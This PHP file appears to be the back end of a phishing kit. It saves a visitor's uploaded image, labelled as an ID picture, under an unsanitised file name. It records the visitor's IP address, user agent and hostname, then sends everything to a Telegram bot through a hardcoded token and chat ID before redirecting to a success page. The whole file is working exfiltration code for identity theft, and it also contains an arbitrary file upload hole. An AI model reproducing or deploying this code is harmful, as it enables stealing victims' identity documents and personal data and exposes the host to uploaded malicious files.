<?php

session_start();

$ip   = $_SERVER['REMOTE_ADDR'];
$UA   = $_SERVER['HTTP_USER_AGENT'];
$host = $_SERVER['REMOTE_HOST'];

	$actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
	$img_name=$_FILES['file2']['name'];
	$tmp_img_name=$_FILES['file2']['tmp_name'];
	$dir='../results/uploads/';
	$dir1= "/" .$dir. "" .$img_name. "" ;
	$dir1= trim(str_replace('../','',$dir1));
	$actual_link = trim(str_replace('/process/config6.php','',$actual_link));
	move_uploaded_file($tmp_img_name,$dir.$img_name);
	
	# Format for Telegram & Discord
// Here variable $a is just an example (replace with your own variables)
$data = " << 𝑵 𝑬 𝑾   𝑺 𝑯 𝑨 𝑫 𝑶 𝑾   𝑰 𝑫    >>\r\n";
$data.= " > pic2 : $actual_link$dir1 \r\n";
$data.= " <<       S E S S I O N    I N F O      >>\r\n";
$data.= " > User Agent: $UA \r\n";
$data.= " >IP : $ip \r\n";
$data.= " >HOSTNAME : $host \r\n";
$data.= "<<      𝑬 𝑵 𝑫   𝑶 𝑭   𝑰 𝑫        >>\r\n";


$tokennn = "8078271386:AAFiFlcg-E0vcNQLyhhVotNmTm1RfZgyCSQ";
$chatiddd = "-1003137771790";

file_get_contents("https://api.telegram.org/bot$tokennn/sendMessage?chat_id=$chatiddd&text=" . urlencode($data)."" );

header("Location: ../success.php");

?>

